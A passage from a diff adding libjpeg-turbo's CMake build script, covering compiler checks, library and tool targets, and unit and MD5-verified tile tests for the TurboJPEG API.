main(void) { return foo(); }" + INLINE_WORKS) + if(INLINE_WORKS) + set(INLINE ${inline}) + break() + endif() +endforeach() +if(NOT INLINE_WORKS) + message(FATAL_ERROR "Could not determine how to inline functions.") +endif() +message(STATUS "INLINE = ${INLINE} (FORCE_INLINE = ${FORCE_INLINE})") + +if(MSVC) + set(THREAD_LOCAL "__declspec(thread)") +else() + set(THREAD_LOCAL "__thread") +endif() +check_c_source_compiles("static ${THREAD_LOCAL} int i; int main(void) { i = 0; return i; }" + HAVE_THREAD_LOCAL) +if(HAVE_THREAD_LOCAL) + message(STATUS "THREAD_LOCAL = ${THREAD_LOCAL}") +else() + message(WARNING "Thread-local storage is not available. The TurboJPEG API library's global error handler will not be thread-safe.") + unset(THREAD_LOCAL) +endif() + +if(UNIX AND NOT APPLE) + file(WRITE ${CMAKE_CURRENT_BINARY_DIR}/conftest.map "VERS_1 { global: *; };") + set(CMAKE_REQUIRED_FLAGS + "-Wl,--version-script,${CMAKE_CURRENT_BINARY_DIR}/conftest.map") + check_c_source_compiles("int main(void) { return 0; }" HAVE_VERSION_SCRIPT) + set(CMAKE_REQUIRED_FLAGS) + file(REMOVE ${CMAKE_CURRENT_BINARY_DIR}/conftest.map) + if(HAVE_VERSION_SCRIPT) + message(STATUS "Linker supports GNU-style version scripts") + set(MAPFLAG "-Wl,--version-script,") + set(TJMAPFLAG "-Wl,--version-script,") + else() + message(STATUS "Linker does not support GNU-style version scripts") + if(CMAKE_SYSTEM_NAME STREQUAL "SunOS") + # The Solaris linker doesn't like our version script for the libjpeg API + # library, but the version script for the TurboJPEG API library should + # still work. + file(WRITE ${CMAKE_CURRENT_BINARY_DIR}/conftest.map + "VERS_1 { global: foo; local: *; }; VERS_2 { global: foo2; } VERS_1;") + set(CMAKE_REQUIRED_FLAGS "-Wl,-M,${CMAKE_CURRENT_BINARY_DIR}/conftest.map -shared") + check_c_source_compiles("int foo() { return 0; } int foo2() { return 2; }" + HAVE_MAPFILE) + set(CMAKE_REQUIRED_FLAGS) + file(REMOVE ${CMAKE_CURRENT_BINARY_DIR}/conftest.map) + if(HAVE_MAPFILE) + message(STATUS "Linker supports mapfiles") + set(TJMAPFLAG "-Wl,-M,") + else() + message(STATUS "Linker does not support mapfiles") + endif() + endif() + endif() +endif() + +# Generate files +configure_file(src/jversion.h.in jversion.h) +if(UNIX) + configure_file(src/libjpeg.map.in libjpeg.map) +endif() + +# Include directories and compiler definitions +include_directories(${CMAKE_CURRENT_BINARY_DIR}) + + +############################################################################### +# TARGETS +############################################################################### + +if(CMAKE_EXECUTABLE_SUFFIX_TMP) + set(CMAKE_EXECUTABLE_SUFFIX ${CMAKE_EXECUTABLE_SUFFIX_TMP}) +endif() +message(STATUS "CMAKE_EXECUTABLE_SUFFIX = ${CMAKE_EXECUTABLE_SUFFIX}") + +add_custom_target(wrappers COMMAND ${CMAKE_COMMAND} + -DSOURCE_DIR=${CMAKE_SOURCE_DIR}/src/wrapper + -P ${CMAKE_CURRENT_SOURCE_DIR}/cmakescripts/GenerateWrappers.cmake) + +set(JPEG_SOURCES src/jcapimin.c + src/wrapper/jcapistd-8.c src/wrapper/jcapistd-12.c src/wrapper/jcapistd-16.c + src/wrapper/jccoefct-8.c src/wrapper/jccoefct-12.c + src/wrapper/jccolor-8.c src/wrapper/jccolor-12.c src/wrapper/jccolor-16.c + src/wrapper/jcdctmgr-8.c src/wrapper/jcdctmgr-12.c + src/wrapper/jcdiffct-8.c src/wrapper/jcdiffct-12.c src/wrapper/jcdiffct-16.c + src/jchuff.c src/jcicc.c src/jcinit.c src/jclhuff.c + src/wrapper/jclossls-8.c src/wrapper/jclossls-12.c src/wrapper/jclossls-16.c + src/wrapper/jcmainct-8.c src/wrapper/jcmainct-12.c src/wrapper/jcmainct-16.c + src/jcmarker.c src/jcmaster.c src/jcomapi.c src/jcparam.c src/jcphuff.c + src/wrapper/jcprepct-8.c src/wrapper/jcprepct-12.c src/wrapper/jcprepct-16.c + src/wrapper/jcsample-8.c src/wrapper/jcsample-12.c src/wrapper/jcsample-16.c + src/jctrans.c src/jdapimin.c + src/wrapper/jdapistd-8.c src/wrapper/jdapistd-12.c src/wrapper/jdapistd-16.c + src/jdatadst.c src/jdatasrc.c + src/wrapper/jdcoefct-8.c src/wrapper/jdcoefct-12.c + src/wrapper/jdcolor-8.c src/wrapper/jdcolor-12.c src/wrapper/jdcolor-16.c + src/wrapper/jddctmgr-8.c src/wrapper/jddctmgr-12.c + src/wrapper/jddiffct-8.c src/wrapper/jddiffct-12.c src/wrapper/jddiffct-16.c + src/jdhuff.c src/jdicc.c src/jdinput.c src/jdlhuff.c + src/wrapper/jdlossls-8.c src/wrapper/jdlossls-12.c src/wrapper/jdlossls-16.c + src/wrapper/jdmainct-8.c src/wrapper/jdmainct-12.c src/wrapper/jdmainct-16.c + src/jdmarker.c src/jdmaster.c + src/wrapper/jdmerge-8.c src/wrapper/jdmerge-12.c + src/jdphuff.c + src/wrapper/jdpostct-8.c src/wrapper/jdpostct-12.c src/wrapper/jdpostct-16.c + src/wrapper/jdsample-8.c src/wrapper/jdsample-12.c src/wrapper/jdsample-16.c + src/jdtrans.c src/jerror.c src/jfdctflt.c + src/wrapper/jfdctfst-8.c src/wrapper/jfdctfst-12.c + src/wrapper/jfdctint-8.c src/wrapper/jfdctint-12.c + src/wrapper/jidctflt-8.c src/wrapper/jidctflt-12.c + src/wrapper/jidctfst-8.c src/wrapper/jidctfst-12.c + src/wrapper/jidctint-8.c src/wrapper/jidctint-12.c + src/wrapper/jidctred-8.c src/wrapper/jidctred-12.c + src/jmemmgr.c src/jmemnobs.c src/jpeg_nbits.c + src/wrapper/jquant1-8.c src/wrapper/jquant1-12.c + src/wrapper/jquant2-8.c src/wrapper/jquant2-12.c + src/wrapper/jutils-8.c src/wrapper/jutils-12.c src/wrapper/jutils-16.c) + +if(WITH_ARITH_ENC OR WITH_ARITH_DEC) + set(JPEG_SOURCES ${JPEG_SOURCES} src/jaricom.c) +endif() + +if(WITH_ARITH_ENC) + set(JPEG_SOURCES ${JPEG_SOURCES} src/jcarith.c) +endif() + +if(WITH_ARITH_DEC) + set(JPEG_SOURCES ${JPEG_SOURCES} src/jdarith.c) +endif() + +if(WITH_SIMD) + add_subdirectory(simd) + if(NEON_INTRINSICS) + add_definitions(-DNEON_INTRINSICS) + endif() +else() + message(STATUS "SIMD extensions: None (WITH_SIMD = ${WITH_SIMD})") +endif() + +# We have to generate these here, because if the build system tries and fails +# to enable the SIMD extensions, the value of WITH_SIMD will have changed. +configure_file(src/jconfig.h.in jconfig.h) +configure_file(src/jconfigint.h.in jconfigint.h) + +if(WITH_SIMD) + message(STATUS "SIMD extensions: ${CPU_TYPE} (WITH_SIMD = ${WITH_SIMD})") + if(MSVC_IDE OR XCODE) + set_source_files_properties(${SIMD_OBJS} PROPERTIES GENERATED 1) + endif() + set(SIMD_TARGET_OBJECTS $) +endif() + +if(WITH_JAVA) + add_subdirectory(java) +endif() + +if(ENABLE_SHARED) + add_subdirectory(sharedlib) +endif() + +if(ENABLE_STATIC) + add_library(jpeg-static STATIC ${JPEG_SOURCES} ${SIMD_TARGET_OBJECTS} + ${SIMD_OBJS}) + if(NOT MSVC_LIKE) + set_target_properties(jpeg-static PROPERTIES OUTPUT_NAME jpeg) + endif() +endif() + +if(WITH_TURBOJPEG) + set(TURBOJPEG_SOURCES ${JPEG_SOURCES} ${SIMD_TARGET_OBJECTS} ${SIMD_OBJS} + src/turbojpeg.c src/transupp.c src/jdatadst-tj.c src/jdatasrc-tj.c + src/rdbmp.c + src/wrapper/rdppm-8.c src/wrapper/rdppm-12.c src/wrapper/rdppm-16.c + src/wrbmp.c + src/wrapper/wrppm-8.c src/wrapper/wrppm-12.c src/wrapper/wrppm-16.c) + if(ENABLE_SHARED) + set(TJMAPFILE ${CMAKE_CURRENT_SOURCE_DIR}/src/turbojpeg-mapfile) + if(WITH_JAVA) + set(TURBOJPEG_SOURCES ${TURBOJPEG_SOURCES} java/turbojpeg-jni.c) + include_directories(${JAVA_INCLUDE_PATH} ${JAVA_INCLUDE_PATH2}) + set(TJMAPFILE ${CMAKE_CURRENT_SOURCE_DIR}/src/turbojpeg-mapfile.jni) + endif() + if(MSVC_LIKE) + configure_file(${CMAKE_SOURCE_DIR}/win/turbojpeg.rc.in + ${CMAKE_BINARY_DIR}/win/turbojpeg.rc) + set(TURBOJPEG_SOURCES ${TURBOJPEG_SOURCES} + ${CMAKE_BINARY_DIR}/win/turbojpeg.rc) + endif() + add_library(turbojpeg SHARED ${TURBOJPEG_SOURCES}) + set_property(TARGET turbojpeg PROPERTY COMPILE_FLAGS + "-DBMP_SUPPORTED -DPPM_SUPPORTED") + if(WIN32) + set_target_properties(turbojpeg PROPERTIES DEFINE_SYMBOL DLLDEFINE) + endif() + if(MINGW) + set_target_properties(turbojpeg PROPERTIES LINK_FLAGS -Wl,--kill-at) + endif() + if(APPLE AND (NOT CMAKE_OSX_DEPLOYMENT_TARGET OR + CMAKE_OSX_DEPLOYMENT_TARGET VERSION_GREATER 10.4)) + if(NOT CMAKE_SHARED_LIBRARY_RUNTIME_C_FLAG) + set(CMAKE_SHARED_LIBRARY_RUNTIME_C_FLAG "-Wl,-rpath,") + endif() + set_target_properties(turbojpeg PROPERTIES MACOSX_RPATH 1) + endif() + set_target_properties(turbojpeg PROPERTIES + SOVERSION ${TURBOJPEG_SO_MAJOR_VERSION} VERSION ${TURBOJPEG_SO_VERSION}) + if(TJMAPFLAG) + set_target_properties(turbojpeg PROPERTIES + LINK_FLAGS "${TJMAPFLAG}${TJMAPFILE}") + endif() + + if(WITH_TESTS) + add_executable(tjunittest src/tjunittest.c src/tjutil.c src/md5/md5.c + src/md5/md5hl.c) + target_link_libraries(tjunittest turbojpeg) + + add_executable(tjcomp src/tjcomp.c) + target_link_libraries(tjcomp turbojpeg) + + add_executable(tjdecomp src/tjdecomp.c) + target_link_libraries(tjdecomp turbojpeg) + + add_executable(tjtran src/tjtran.c) + target_link_libraries(tjtran turbojpeg) + endif() + + if(WITH_TOOLS) + add_executable(tjbench src/tjbench.c src/tjutil.c) + target_link_libraries(tjbench turbojpeg) + if(UNIX) + target_link_libraries(tjbench m) + endif() + endif() + + add_custom_target(tjdoc COMMAND doxygen -s ../doc/doxygen.config + WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/src) + endif() + + if(ENABLE_STATIC) + add_library(turbojpeg-static STATIC ${TURBOJPEG_SOURCES}) + set_property(TARGET turbojpeg-static PROPERTY COMPILE_FLAGS + "-DBMP_SUPPORTED -DPPM_SUPPORTED") + if(NOT MSVC_LIKE) + set_target_properties(turbojpeg-static PROPERTIES OUTPUT_NAME turbojpeg) + endif() + + if(WITH_TESTS) + add_executable(tjunittest-static src/tjunittest.c src/tjutil.c + src/md5/md5.c src/md5/md5hl.c) + target_link_libraries(tjunittest-static turbojpeg-static) + endif() + + if(WITH_TOOLS) + add_executable(tjbench-static src/tjbench.c src/tjutil.c) + target_link_libraries(tjbench-static turbojpeg-static) + if(UNIX) + target_link_libraries(tjbench-static m) + endif() + endif() + endif() +endif() + +if(WITH_TOOLS) + if(WIN32) + set(USE_SETMODE "-DUSE_SETMODE") + endif() + set(CDJPEG_COMPILE_FLAGS + "-DBMP_SUPPORTED -DGIF_SUPPORTED -DPPM_SUPPORTED -DTARGA_SUPPORTED ${USE_SETMODE}") +endif() + +if(ENABLE_STATIC) + if(WITH_TOOLS) + add_executable(cjpeg-static src/cjpeg.c src/cdjpeg.c src/rdbmp.c + src/rdgif.c + src/wrapper/rdppm-8.c src/wrapper/rdppm-12.c src/wrapper/rdppm-16.c + src/rdswitch.c src/rdtarga.c) + set_property(TARGET cjpeg-static PROPERTY COMPILE_FLAGS + ${CDJPEG_COMPILE_FLAGS}) + target_link_libraries(cjpeg-static jpeg-static) + + add_executable(djpeg-static src/djpeg.c src/cdjpeg.c + src/wrapper/rdcolmap-8.c src/wrapper/rdcolmap-12.c + src/rdswitch.c src/wrbmp.c + src/wrapper/wrgif-8.c src/wrapper/wrgif-12.c + src/wrapper/wrppm-8.c src/wrapper/wrppm-12.c src/wrapper/wrppm-16.c + src/wrtarga.c) + set_property(TARGET djpeg-static PROPERTY COMPILE_FLAGS + ${CDJPEG_COMPILE_FLAGS}) + target_link_libraries(djpeg-static jpeg-static) + + add_executable(jpegtran-static src/jpegtran.c src/cdjpeg.c src/rdswitch.c + src/transupp.c) + target_link_libraries(jpegtran-static jpeg-static) + set_property(TARGET jpegtran-static PROPERTY COMPILE_FLAGS + "${USE_SETMODE}") + endif() + + if(WITH_TESTS) + add_executable(example-static src/example.c) + target_link_libraries(example-static jpeg-static) + endif() +endif() + +if(WITH_TOOLS) + add_executable(rdjpgcom src/rdjpgcom.c) + + add_executable(wrjpgcom src/wrjpgcom.c) +endif() + + +############################################################################### +# TESTS +############################################################################### + +if(WITH_FUZZ) + add_definitions(-DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION) + add_subdirectory(fuzz) +endif() + +if(WITH_TESTS) + +add_executable(strtest src/strtest.c) + +add_subdirectory(src/md5) + +if(GENERATOR_IS_MULTI_CONFIG) + set(OBJDIR "\${CTEST_CONFIGURATION_TYPE}/") +else() + set(OBJDIR "") +endif() + +enable_testing() + +if(WITH_JAVA) + add_test(NAME TJUnitTest + COMMAND ${Java_JAVA_EXECUTABLE} ${JAVAARGS} -cp java/turbojpeg.jar + -Djava.library.path=${CMAKE_CURRENT_BINARY_DIR}/${OBJDIR} + TJUnitTest) + add_test(NAME TJUnitTest-yuv + COMMAND ${Java_JAVA_EXECUTABLE} ${JAVAARGS} -cp java/turbojpeg.jar + -Djava.library.path=${CMAKE_CURRENT_BINARY_DIR}/${OBJDIR} + TJUnitTest -yuv) + add_test(NAME TJUnitTest-yuv-nopad + COMMAND ${Java_JAVA_EXECUTABLE} ${JAVAARGS} -cp java/turbojpeg.jar + -Djava.library.path=${CMAKE_CURRENT_BINARY_DIR}/${OBJDIR} + TJUnitTest -yuv -noyuvpad) + add_test(NAME TJUnitTest-lossless + COMMAND ${Java_JAVA_EXECUTABLE} ${JAVAARGS} -cp java/turbojpeg.jar + -Djava.library.path=${CMAKE_CURRENT_BINARY_DIR}/${OBJDIR} + TJUnitTest -lossless) + add_test(NAME TJUnitTest-bi + COMMAND ${Java_JAVA_EXECUTABLE} ${JAVAARGS} -cp java/turbojpeg.jar + -Djava.library.path=${CMAKE_CURRENT_BINARY_DIR}/${OBJDIR} + TJUnitTest -bi) + add_test(NAME TJUnitTest-bi-yuv + COMMAND ${Java_JAVA_EXECUTABLE} ${JAVAARGS} -cp java/turbojpeg.jar + -Djava.library.path=${CMAKE_CURRENT_BINARY_DIR}/${OBJDIR} + TJUnitTest -bi -yuv) + add_test(NAME TJUnitTest-bi-yuv-nopad + COMMAND ${Java_JAVA_EXECUTABLE} ${JAVAARGS} -cp java/turbojpeg.jar + -Djava.library.path=${CMAKE_CURRENT_BINARY_DIR}/${OBJDIR} + TJUnitTest -bi -yuv -noyuvpad) + add_test(NAME TJUnitTest-bi-lossless + COMMAND ${Java_JAVA_EXECUTABLE} ${JAVAARGS} -cp java/turbojpeg.jar + -Djava.library.path=${CMAKE_CURRENT_BINARY_DIR}/${OBJDIR} + TJUnitTest -bi -lossless) + add_test(NAME TJUnitTest-bmp + COMMAND ${Java_JAVA_EXECUTABLE} ${JAVAARGS} -cp java/turbojpeg.jar + -Djava.library.path=${CMAKE_CURRENT_BINARY_DIR}/${OBJDIR} + TJUnitTest -bmp) + add_test(NAME TJUnitTest12 + COMMAND ${Java_JAVA_EXECUTABLE} ${JAVAARGS} -cp java/turbojpeg.jar + -Djava.library.path=${CMAKE_CURRENT_BINARY_DIR}/${OBJDIR} + TJUnitTest -precision 12) + foreach(sample_bits 2 3 4 5 6 7 9 10 11 12 13 14 15 16) + add_test(NAME TJUnitTest${sample_bits}-lossless + COMMAND ${Java_JAVA_EXECUTABLE} ${JAVAARGS} -cp java/turbojpeg.jar + -Djava.library.path=${CMAKE_CURRENT_BINARY_DIR}/${OBJDIR} + TJUnitTest -precision ${sample_bits} -lossless) + add_test(NAME TJUnitTest${sample_bits}-bmp + COMMAND ${Java_JAVA_EXECUTABLE} ${JAVAARGS} -cp java/turbojpeg.jar + -Djava.library.path=${CMAKE_CURRENT_BINARY_DIR}/${OBJDIR} + TJUnitTest -precision ${sample_bits} -bmp) + endforeach() +endif() + +set(TEST_LIBTYPES "") +if(ENABLE_SHARED) + set(TEST_LIBTYPES ${TEST_LIBTYPES} shared) +endif() +if(ENABLE_STATIC) + set(TEST_LIBTYPES ${TEST_LIBTYPES} static) +endif() + +set(TESTIMAGES ${CMAKE_CURRENT_SOURCE_DIR}/testimages) +if(CMAKE_CROSSCOMPILING) + file(RELATIVE_PATH TESTIMAGES ${CMAKE_CURRENT_BINARY_DIR} ${TESTIMAGES}) +endif() + +# The output of the floating point DCT/IDCT algorithms differs depending on the +# type of floating point math used, so the FLOATTEST8 and FLOATTEST12 CMake +# variables must be set in order to tell the testing system which floating +# point results it should expect: +# +# sse = validate against the expected results from the libjpeg-turbo SSE SIMD +# extensions +# no-fp-contract = validate against the expected results from the C code when +# floating point expression contraction is disabled (the +# default with Clang 13 and earlier, when building for +# platforms that lack fused multiply-add [FMA] instructions, +# or when passing -ffp-contract=off to GCC or Clang) +# fp-contract = validate against the expected results from the C code when +# floating point expression contraction is enabled (the default +# with Clang 14 and later, with GCC when building for platforms +# that have fused multiply-add [FMA] instructions, or when +# passing -ffp-contract=fast to GCC or -ffp-contract=on to Clang) +# 387 = validate against the expected results from the C code when the 387 FPU +# is being used for floating point math (which is generally the default +# with x86 compilers) +# msvc = validate against the expected results from the C code when compiled +# with a 32-bit version of Visual C++ + +if(CPU_TYPE STREQUAL "x86_64" OR CPU_TYPE STREQUAL "i386") + if(WITH_SIMD) + set(DEFAULT_FLOATTEST8 sse) + elseif(CPU_TYPE STREQUAL "x86_64") + set(DEFAULT_FLOATTEST8 no-fp-contract) + endif() +elseif(CPU_TYPE STREQUAL "powerpc" OR CPU_TYPE STREQUAL "arm64") + if(CMAKE_C_COMPILER_ID MATCHES "Clang") + if(CMAKE_C_COMPILER_ID MATCHES "AppleClang") + # Xcode 14.3 and later + set(MIN_FP_CONTRACT_VERSION 14.0.1) + else() + set(MIN_FP_CONTRACT_VERSION 14.0.0) + endif() + if(CMAKE_C_COMPILER_VERSION VERSION_EQUAL ${MIN_FP_CONTRACT_VERSION} OR + CMAKE_C_COMPILER_VERSION VERSION_GREATER ${MIN_FP_CONTRACT_VERSION}) + set(DEFAULT_FLOATTEST8 fp-contract) + else() + set(DEFAULT_FLOATTEST8 no-fp-contract) + endif() + elseif(CMAKE_COMPILER_IS_GNUCC) + set(DEFAULT_FLOATTEST8 fp-contract) + endif() +# else we can't really set an intelligent default for FLOATTEST8. The +# appropriate value could be no-fp-contract, fp-contract, 387, or msvc, +# depending on the compiler and compiler options. We leave it to the user to +# set FLOATTEST8 manually. +endif() + +# This causes FLOATTEST8 to reset to the default value if WITH_SIMD has +# changed. +if(DEFINED WITH_SIMD_INT AND NOT WITH_SIMD EQUAL WITH_SIMD_INT) + set(FORCE_FLOATTEST8 "FORCE") +endif() +set(WITH_SIMD_INT ${WITH_SIMD} CACHE INTERNAL "") +set(FLOATTEST8 ${DEFAULT_FLOATTEST8} CACHE STRING + "The type of floating point math used by the 8-bit-per-sample floating point DCT/IDCT algorithms. This tells the testing system which numerical results it should expect from those tests. [sse = libjpeg-turbo x86/x86-64 SIMD extensions, no-fp-contract = generic FPU with floating point expression contraction disabled, fp-contract = generic FPU with floating point expression contraction enabled, 387 = 387 FPU, msvc = 32-bit Visual Studio] (default = ${DEFAULT_FLOATTEST8})" + ${FORCE_FLOATTEST8}) +message(STATUS "FLOATTEST8 = ${FLOATTEST8}") + +if(FLOATTEST8) + string(TOUPPER ${FLOATTEST8} FLOATTEST8_UC) + string(REGEX REPLACE "-" "_" FLOATTEST8_UC ${FLOATTEST8_UC}) + string(TOLOWER ${FLOATTEST8} FLOATTEST8) + if(NOT FLOATTEST8 STREQUAL "sse" AND + NOT FLOATTEST8 STREQUAL "no-fp-contract" AND + NOT FLOATTEST8 STREQUAL "fp-contract" AND NOT FLOATTEST8 STREQUAL "387" AND + NOT FLOATTEST8 STREQUAL "msvc") + message(FATAL_ERROR "\"${FLOATTEST8}\" is not a valid value for FLOATTEST8.") + endif() +endif() + +if(CPU_TYPE STREQUAL "x86_64") + set(DEFAULT_FLOATTEST12 no-fp-contract) +elseif(CPU_TYPE STREQUAL "powerpc" OR CPU_TYPE STREQUAL "arm64") + if(CMAKE_C_COMPILER_ID MATCHES "Clang") + if(CMAKE_C_COMPILER_ID MATCHES "AppleClang") + # Xcode 14.3 and later + set(MIN_FP_CONTRACT_VERSION 14.0.1) + else() + set(MIN_FP_CONTRACT_VERSION 14.0.0) + endif() + if(CMAKE_C_COMPILER_VERSION VERSION_EQUAL ${MIN_FP_CONTRACT_VERSION} OR + CMAKE_C_COMPILER_VERSION VERSION_GREATER ${MIN_FP_CONTRACT_VERSION}) + set(DEFAULT_FLOATTEST12 fp-contract) + else() + set(DEFAULT_FLOATTEST12 no-fp-contract) + endif() + elseif(CMAKE_COMPILER_IS_GNUCC) + set(DEFAULT_FLOATTEST12 fp-contract) + endif() +# else we can't really set an intelligent default for FLOATTEST12. The +# appropriate value could be no-fp-contract, fp-contract, or something else, +# depending on the compiler and compiler options. We leave it to the user to +# set FLOATTEST12 manually. +endif() + +set(FLOATTEST12 ${DEFAULT_FLOATTEST12} CACHE STRING + "The type of floating point math used by the 12-bit-per-sample floating point DCT/IDCT algorithms. This tells the testing system which numerical results it should expect from those tests. [sse = libjpeg-turbo x86/x86-64 SIMD extensions, no-fp-contract = generic FPU with floating point expression contraction disabled, fp-contract = generic FPU with floating point expression contraction enabled, 387 = 387 FPU, msvc = 32-bit Visual Studio] (default = ${DEFAULT_FLOATTEST12})") +message(STATUS "FLOATTEST12 = ${FLOATTEST12}") + +if(FLOATTEST12) + string(TOUPPER ${FLOATTEST12} FLOATTEST12_UC) + string(REGEX REPLACE "-" "_" FLOATTEST12_UC ${FLOATTEST12_UC}) + string(TOLOWER ${FLOATTEST12} FLOATTEST12) + if(NOT FLOATTEST12 STREQUAL "sse" AND + NOT FLOATTEST12 STREQUAL "no-fp-contract" AND + NOT FLOATTEST12 STREQUAL "fp-contract" AND + NOT FLOATTEST12 STREQUAL "387" AND + NOT FLOATTEST12 STREQUAL "msvc") + message(FATAL_ERROR "\"${FLOATTEST12}\" is not a valid value for FLOATTEST12.") + endif() +endif() + +foreach(libtype ${TEST_LIBTYPES}) + if(libtype STREQUAL "static") + set(suffix -static) + endif() + if(WITH_TURBOJPEG) + add_test(NAME tjunittest-${libtype} + COMMAND tjunittest${suffix}) + add_test(NAME tjunittest-${libtype}-alloc + COMMAND tjunittest${suffix} -alloc) + add_test(NAME tjunittest-${libtype}-yuv + COMMAND tjunittest${suffix} -yuv) + add_test(NAME tjunittest-${libtype}-yuv-alloc + COMMAND tjunittest${suffix} -yuv -alloc) + add_test(NAME tjunittest-${libtype}-yuv-nopad + COMMAND tjunittest${suffix} -yuv -noyuvpad) + add_test(NAME tjunittest-${libtype}-lossless + COMMAND tjunittest${suffix} -lossless) + add_test(NAME tjunittest-${libtype}-lossless-alloc + COMMAND tjunittest${suffix} -lossless -alloc) + add_test(NAME tjunittest-${libtype}-bmp + COMMAND tjunittest${suffix} -bmp) + add_test(NAME tjunittest12-${libtype} + COMMAND tjunittest${suffix} -precision 12) + add_test(NAME tjunittest12-${libtype}-alloc + COMMAND tjunittest${suffix} -precision 12 -alloc) + foreach(sample_bits 2 3 4 5 6 7 9 10 11 12 13 14 15 16) + add_test(NAME tjunittest${sample_bits}-${libtype}-lossless + COMMAND tjunittest${suffix} -precision ${sample_bits} -lossless) + add_test(NAME tjunittest${sample_bits}-${libtype}-lossless-alloc + COMMAND tjunittest${suffix} -precision ${sample_bits} -lossless -alloc) + add_test(NAME tjunittest${sample_bits}-${libtype}-bmp + COMMAND tjunittest${suffix} -precision ${sample_bits} -bmp) + endforeach() + + foreach(sample_bits 8 12) + + if(sample_bits EQUAL 12) + set(tjbench tjbench12) + set(testout testout12${suffix}) + + set(MD5_PPM_GRAY_TILE 2f799249148b1a9d0e61fa4408f6c397) + set(MD5_PPM_420_8x8_TILE b25684e1af37be504ee3fd137757353f) + set(MD5_PPM_420_16x16_TILE 2c1af444a63d19167eb3f4c1fa7f1b67) + set(MD5_PPM_420_32x32_TILE cce091fe18688f39bc0b5ba29238e1e2) + set(MD5_PPM_420_64x64_TILE f770ec8f710a014606dee662bc88606d) + set(MD5_PPM_420_128x128_TILE a841bc82e9eda34cbdefe53f808b339c) + set(MD5_PPM_420M_8x8_TILE 9de845a8d805affb9ae3a7b2712eaa46) + set(MD5_PPM_420M_TILE 455d273be0e229b9c8aabb16481bce5b) + set(MD5_PPM_422_8x8_TILE 5e9f784a98a7eae2789ea1458ed43748) + set(MD5_PPM_422_16x16_TILE c8df65a792d371a30c8fb7352f320314) + set(MD5_PPM_422_32x32_TILE b523b630237e3305a5c4d353ff4ee19b) + set(MD5_PPM_422_64x64_TILE eb30bdd20337079745b039e24e613bfd) + set(MD5_PPM_422_128x128_TILE 7997458635973b004da46863e2da55ea) + set(MD5_PPM_422M_8x8_TILE f8443fffd32cce7681dd36010ce43c07) + set(MD5_PPM_422M_TILE a0d45368343a63ca2c8ee87cc4ef9ded) + set(MD5_PPM_444_TILE 2f571a032e4dbc8ef40f75219d336b0b) + else() + set(tjbench tjbench) + set(testout testout${suffix}) + + set(MD5_PPM_GRAY_TILE 2c3b567086e6ca0c5e6d34ad8d6f6fe8) + set(MD5_PPM_420_8x8_TILE efca1bdf0226df01777137778cf986ec) + set(MD5_PPM_420_16x16_TILE 8c92c7453870d9e11c6d1dec3a8c9101) + set(MD5_PPM_420_32x32_TILE 3f7651872a95e469d1c7115f1b11ecef) + set(MD5_PPM_420_64x64_TILE f64c71af03fdea12363b62f1a3096aab) + set(MD5_PPM_420_128x128_TILE 5a5ef57517558c671bf5e75793588d69) + set(MD5_PPM_420M_8x8_TILE 66bd869b315a32a00fef1a025661ce72) + set(MD5_PPM_420M_TILE bf9ec2ab4875abb2efcce8f876fe2c2a) + set(MD5_PPM_422_8x8_TILE c300553ce1b3b90fd414ec96b62fe988) + set(MD5_PPM_422_16x16_TILE 6559ddb1191f5b2d3eb41081b254c4e0) + set(MD5_PPM_422_32x32_TILE 58691797f4584c4c5ed5965a6bb9aec0) + set(MD5_PPM_422_64x64_TILE 7f9e34942ae46af7b784f459ec133f5e) + set(MD5_PPM_422_128x128_TILE 6afcb77580d85dd3eacb04b3c2bc7710) + set(MD5_PPM_422M_8x8_TILE 55df1f96bcfb631aedeb940cf3f011f5) + set(MD5_PPM_422M_TILE 6502031018c2d2f69bc6353347f8df4d) + set(MD5_PPM_444_TILE 87bd58005eec73f0f313c8e38d0d793c) + endif() + + # Test compressing from/decompressing to an arbitrary subregion of a + # larger image buffer + add_test(NAME ${tjbench}-${libtype}-tile-cp + COMMAND ${CMAKE_COMMAND} -E copy_if_different + ${TESTIMAGES}/testorig.ppm ${testout}_tile.ppm) + add_test(NAME ${tjbench}-${libtype}-tile + COMMAND tjbench${suffix} ${testout}_tile.ppm 95 + -precision ${sample_bits} -rgb -quiet -tile -benchtime 0.01 + -warmup 0) + set_tests_properties(${tjbench}-${libtype}-tile + PROPERTIES DEPENDS ${tjbench}-${libtype}-tile-cp) + + foreach(tile 8 16 32 64 128) + add_test(NAME ${tjbench}-${libtype}-tile-gray-${tile}x${tile}-cmp + COMMAND md5cmp ${MD5_PPM_GRAY_TILE} + ${testout}_tile_GRAY_Q95_${tile}x${tile}.ppm) + foreach(subsamp 420 422) + add_test(NAME ${tjbench}-${libtype}-tile-${subsamp}-${tile}x${tile}-cmp + COMMAND md5cmp ${MD5_PPM_${subsamp}_${tile}x${tile}_TILE} + ${testout}_tile_${subsamp}_Q95_${tile}x${tile}.ppm) + endforeach() + add_test(NAME ${tjbench}-${libtype}-tile-444-${tile}x${tile}-cmp + COMMAND md5cmp ${MD5_PPM_444_TILE} + ${testout}_tile_444_Q95_${tile}x${tile}.ppm) + foreach(subsamp gray 420 422 444) + set_tests_properties( + ${tjbench}-${libtype}-tile-${subsamp}-${tile}x${tile}-cmp + PROPERTIES DEPENDS ${tjbench}-${libtype}-tile) + endforeach() + endforeach() + + add_test(NAME ${tjbench}-${libtype}-tilem-cp + COMMAND ${CMAKE_COMMAND} -E copy_if_different + ${TESTIMAGES}/testorig.ppm ${testout}_tilem.ppm) + add_test(NAME ${tjbench}-${libtype}-tilem + COMMAND tjbench${suffix} ${testout}_tilem.ppm 95 + -precision ${sample_bits} -rgb -fastupsample -quiet -tile + -benchtime 0.01 -warmup 0) + set_tests_properties(${tjbench}-${libtype}-tilem + PROPERTIES DEPENDS ${tjbench}-${libtype}-tilem-cp) + + add_test(NAME ${tjbench}-${libtype}-tile-420m-8x8-cmp + COMMAND md5cmp ${MD5_PPM_420M_8x8_TILE} + ${testout}_tilem_420_Q95_8x8.ppm) + add_test(NAME ${tjbench}-${libtype}-tile-422m-8x8-cmp + COMMAND md5cmp ${MD5_PPM_422M_8x8_TILE} + ${testout}_tilem_422_Q95_8x8.ppm) + foreach(tile 16 32 64 128) + foreach(subsamp 420 422) + add_test(NAME ${tjbench}-${libtype}-tile-${subsamp}m-${tile}x${tile}-cmp + COMMAND md5cmp ${MD5_PPM_${subsamp}M_TILE} + ${testout}_tilem_${subsamp}_Q95_${tile}x${tile}.ppm) + endforeach() + endforeach() + foreach(tile 8 16 32 64 128) + 